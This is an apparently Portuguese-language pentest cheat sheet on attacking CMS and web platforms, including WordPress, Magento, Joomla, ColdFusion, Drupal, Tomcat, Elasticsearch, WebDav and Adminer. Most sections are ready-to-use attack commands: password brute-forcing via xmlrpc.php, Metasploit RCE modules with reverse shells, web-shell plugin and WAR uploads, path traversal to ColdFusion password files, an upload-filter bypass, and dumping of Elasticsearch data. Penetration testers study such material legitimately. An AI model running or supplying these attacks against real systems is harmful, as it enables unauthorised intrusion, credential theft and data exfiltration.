# Frameworks / Plataformas / CMS

Aqui iremos ver ataques a diversos tipo de plataformas, como WordPress, Magento, Cold Fusion, etc...\
Trabalharemos com métodos manuais e exploits.<br>

### Wordpress

#### xmlrpc.php

O `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que os dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela API REST do WordPress.

Com ele é possível realizar Brute Force em usuários, realizar pingback, DoS, etc. Clique no link abaixo para ir para a seção de DoS em Wordpress.

{% content-ref url="../dos-ddos" %}
[dos-ddos](https://mysther.gitbook.io/knowledge-base/ataques/dos-ddos)
{% endcontent-ref %}

**WPScan**

Atualizar o WPScan

```bash
wpscan --update
```

Realiza scan no site e devolve as vulnerabilidades

```bash
wpscan --url http://site.com
```

Realiza scan no site utilizando a API-key

```bash
wpscan --url http://site.com --api-token <token>
```

Realiza scan somente nos Plugins vulneráveis

```bash
wpscan --url http://site.com --enumerate vp
```

Realiza scan somente nos Temas vulneráveis

```bash
wpscan --url http://site.com --enumerate vt
```

Realiza scan somente em Plugins e Temas vulneráveis

```bash
wpscan --url http://site.com --enumerate
wpscan --url http://site.com --enumerate vt,vp
```

Realiza uma busca por contas de usuários com senhas padrões

```bash
wpscan --url http://site.com --enumerate u
```

Tentar utilizar force brute para quebrar senha do usuário `administrator`

```bash
# Via XMLRPC.PHP (preferencial)
wpscan --password-attack xmlrpc -t 20 -U <user1>, <user2> -P <wordlist.txt> --url <http://site-wordpress.com>

# Via página WEB
wpscan --url http://site.com --wordlist <wordlist.txt> --username administrator
```

Utilizando User-Agent válido aleatório

```bash
sudo wpscan -u http://site.com --random-user-agent
```

**Nmap**

Enumeração de `Temas` e `Plugins` instalados

```bash
nmap --script http-wordpress-enum --script-args http-wordpress-enum.root=/<subdiretorio_caso_exista> <site>
```

Enumeração de usuários do Wordpress.\
**OBS.:** As versões vulneráveis a esse scan são da `2.6` a `3.2-beta2`

```bash
nmap -p80 --script http-wordpress-enum <site>
```

Brute Force na tela de login do Wordpress

```bash
nmap -p80,443 --script http-wordpress-brute --script-args userdb=<wordlist.txt>,passdb=<wordlist.txt>,http-wordpress-brute.threads=10,http-wordpress-brute.uri=/wp-login.php,brute.firstOnly=true <site>
```

**cURL**

Validando credenciais via xmlrpc.php

```bash
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{{user}}</value></param><param><value>{{pass}}</value></param></params></methodCall>" http://site-wordpress.com/xmlrpc.php>
```

Versão do Wordpress

```bash
curl -s -X GET https://site-wordpress.com | grep '<meta name="generator"' | cut -d'"' -f4
```

Verifique também se é possível ver a versão do WP nas chamadas dos arquivos JS e CSS. Note que nem todas as chamadas irão mostrar a versão do Wordpress, então procure por versões semelhantes para ter uma maior precisão

````bash
<link rel='stylesheet' id='smartmenus-css'  href='http://site-wordpress.com/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=<wordpress-version>' type='text/css' media='all' />

<script type='text/javascript' src='https://site-wordpress.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=<wordpress-version>'></script>```
````

Enumerando Plugins

```bash
curl -s -X GET https://site.com.br | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
```

Enumerando Temas

```bash
curl -s -X GET https://site.com.br | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
```

#### Gerando Hashes de Senhas

Gerando novo hash para usuários. Para isso é preciso acessar o banco de dados, alterar a tabela `wp_users` e então acessar a página administrativa em `http://site.com/wp-login`

```bash
php -a
echo password_hash('<nova_senha>', PASSWORD_DEFAULT);
```

#### RCE (Metasploit)

```bash
sudo msfconsole -q
use exploit/unix/webapp/wp_admin_shell_upload
set rhost <host_alvo>
set rport <porta_alvo>
set lhost <host_atacante>
set username <user>
set password <pass>
exploit
```

#### RCE (Manual)

Caso possua acesso administrativo ao painel do Wordpress, execute os passos abaixo para realiar uma reverse shell.

```bash
sudo apt install seclists
cd /usr/share/seclists/Web-Shells/WordPress
sudo zip plugin-shell.zip plugin-shell.php
```

Vá no painel administrativo do wordpress, clique em Plugins (menu a esquerda). Agora instale um novo plugin, que está localizado em `/usr/share/seclists/Web-Shells/WordPress/plugin-shell.zip`. Após isso, basta acessar o arquivo PHP malicioso utilizando o parâmetro (via GET ou POST):

```bash
curl http://<domain>/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=id
```

### Magento

#### Magescan

```bash
php magescan.phar scan:all <www.site.com>
```

#### Arquivos/Páginas Sensíveis

```bash
# Página de Login
http://<domain>/index.php/admin

# Página de Upload e demais gerenciamentos de Plugins (Extensões)
http://<domain>/downloader/index.php

# Configuração do Banco de Dados
http://<domain>/app/etc/local.xml

# Diretórios abertos
http://<domain>/app
http://<domain>/downloader
http://<domain>/mage
http://<domain>/errors
http://<domain>/includes
http://<domain>/js
http://<domain>/lib
http://<domain>/media
http://<domain>/pkginfo
http://<domain>/shell
http://<domain>/skin
http://<domain>/var
```

#### LavaMagentoBD

Faça o Upload do LavaMagentoBD e depois execute o seguinte comando no terminal:

```bash
curl -X POST http://<domain>/index.php/lavalamp/index --data-urlencode 'c=<command>'
```

### Joomla

#### Scanner por Vulnerabilidades

```bash
joomscan -u <http://site.com>
joomscan -u <http://site.com> -ec
```

#### Procurando Senhas

```bash
find . -name "\*.php" -print0 | xargs -0 grep -i -n "var $password"
```

#### Falha Antiga

Das versões `1.6.0` até `2.5.2` possuem falhas que dão privilégios administrativos.

Tela de Login: `www.site.com.br/index.php?option=com_users&view=registration`

```markup
<input name='jform[groups][]' value='7' />
```

###

### Cold Fusion

Exibindo versão do Cold Fusion:

```
<site.com>/CFIDE/adminapi/base.cfc?wsdl
```

Exibindo senhas em SHA1 para acesso WEB do Cold Fusion:

```
http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
```

Com o Metasploit podemos realizar upload de arquivos usando o exploit abaixo. Este só funciona na versão 8.0.1

```
use exploit/windows/http/coldfusion_fckeditor
```

### Drupalgeddon2

{% hint style="info" %}
**DICA**: Caso dê erro a execução do Drupalgeddon2, execute o seguinte comando: **`sudo gem install highline`**
{% endhint %}

```bash
cd Drupalgeddon2
./drupalgeddon2.rb http://<ip>/
```

### Elasticsearch

Verifique se há o `kopf` (plugin para gerenciar o servidor) está instalado

```bash
http://<domain.com>:9200/_plugin/kopf
```

Realizando pesquisas

```bash
http://<domain.com>/_search
http://<domain.com>/_search?q=<search>
```

Verificando os nós (nodes)

```bash
http://<domain.com>/_nodes
http://<domain.com>/_nodes/_all
http://<domain.com>/_nodes/process
```

Retornando a lista de índices

```bash
http://<domain.com>/_cat
```

Retornando os usuários

```bash
http://<domain.com>/_cat/indexes
```

Retornando a lista de índices

```bash
http://<domain.com>/_cat
```

Retornando os usuários

```bash
http://<domain.com>/_cat/indexes
```

Retornando conteúdos do usuário.\
Adicione `?size=1000` no final do comando acima para aumentar a quantidade de registros, pois o padrão são 10 só registros

```bash
http://<domain.com>:9200/<user>/_search
http://<domain.com>:9200/<user>/_search?q=<filter>
curl -s "http://<domain.com>:9200/<user>/_search?q=*:*&size=1000" > <output_file>
```

#### Elasticsearch-dump

Este irá mapear os resultados de pesquisa recursiva do Elasticsearch e salvar em um arquivo JSON:

```bash
git pull taskrabbit/elasticsearch-dump
docker run --rm -ti -v /data:/tmp taskrabbit/elasticsearch-dump --input=http://<site.com>:9200 --output=<output.json> --type=data
```

Agora acesse `<output.json>` em sua máquina local

###

### WebDav

Apesar de ser pouco utilizado, ainda é possível achar. É muito parecido com o FTP, mas passa por um HTTP.\
O WebDav já vem instalado junto com o `XAMPP` e pode ser acessado com suas credenciais padrões:

```bash
Username: wampp
Password: xampp
```

Para verificar se algo possui um webdav instalado, utilize o seguinte comando:

```
davtest -url http://<domain>
```

Também podemos fazer upload de arquivo no WebDav, utilizando o `davtest`

```bash
davtest -url http://<domain> -directory demo_dir -rand aaaa_upfileP0C
```

Se você conseguiu obter acesso, mas não consegue executar o código porque o WebDav proibiu de fazer o upload do código `.asp`, `pl` ou o que quer que seja, podemos fazer isso:\
Faça o upload de um arquivo chamado `shell443.txt` (que obviamente é o shell `asp`). Agora renomeie para `shell443.asp;.jpg` e visita a página no navegador. O código asp será executado retornará seu shell.

Para mover um arquivo, utilize o `HTTP METHOD MOVE`. No exemplo abaixo, estamos renomeando o arquivo `test.txt` para `test.aspx`.

```bash
MOVE /test.txt HTTP/1.1
Host: 127.0.0.1
Destination: /test.aspx
...
```

### Tomcat

As vezes é possível encontrar a senha de admin do Tomcat no arquivo `tomcat-users.xml`. Abaixo segue alguns lugares comuns que podemos encontrar. Altere a versão do tomcat ao procurar.

```
/etc/tomcat7/tomcat-users.xml
/usr/share/tomcat9/etc/tomcat-users.xml
/etc/tomcat9/tomcat-users.xml
/opt/tomcat9/tomcat-users.xml
/var/lib/tomcat9/conf/tomcat-users.xml
```

Depois de encontrar a senha, acesse o Tomcat Manager, que fica geralmente em `http://<site.com>/manager/html`.

#### File Upload

Caso o Tomcat esteja na versão 9 ou inferior, podemos realizar upload de arquivos .war maliciosos. Podemos pegar o arquivo `cmdjsp.jsp` (que já está presente no kali) e converter para arquivo war, com os comandos abaixo:

```bash
# Gerando arquivo war
zip cmdjsp.war cmdjsp.jsp

# Realizando upload do arquivo war
curl -s -u '<user:pass>' 'http://<ip>:8080/manager/text/deploy?path=/mysther' -T '<file.war>'
```

Após isso, podemos acessar o arquivo via web browser no endereço `http://<ip>:8080/mysther/file.jsp`. Note que realizamos o upload de um arquivo `.war`, porém na web acessamos o arquivo `.jsp`.

#### Versão 8.5.39

Nessa versão podemos acessar um arquivo .bat que executa comandos no sistema operacional.

```
http://site.com:8080/cgi-bin/hello.bat?<command>
http://site.com:8080/cgi-bin/test.bat?<command>
```

<br>

### Adminer

Este é um concorrente do PHPMyAdmin, que geralmente encontramos com o nome `adminer.php`. A falha do Adminer, consiste em conectar em um banco de dados externo. Por exemplo, na tela de login (<http://site.com.br/adminer.php>), podemos conectar em um servidor remoto que seja nosso. Feito isso,  podemos ler arquivos do servidor remoto (Adminer) e salvar os resultados em nosso banco de dados, executando a seguinte query:

```sql
LOAD DATA LOCAL INFILE '<file>' INTO TABLE <table> FIELDS TERMINATED BY "/n"
```

### PHP X-Debug Ativo

Abra o phpinfo.php e veja se o X-Debug está ativo. Caso positivo, utilize o Metasploit para criar uma Reverse Shell.

```bash
msfconsole -q
exploit/unix/http/xdebug_unauth_exec
```

### Sites

```bash
# Verifica se o site está vulnerável com o arquivo xmlrpc.php
https://xmlrpc.eritreo.it/

# Drupalgeddon2
https://github.com/dreadlocked/Drupalgeddon2.git

# Cold Fusion Pentest  
https://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers
```
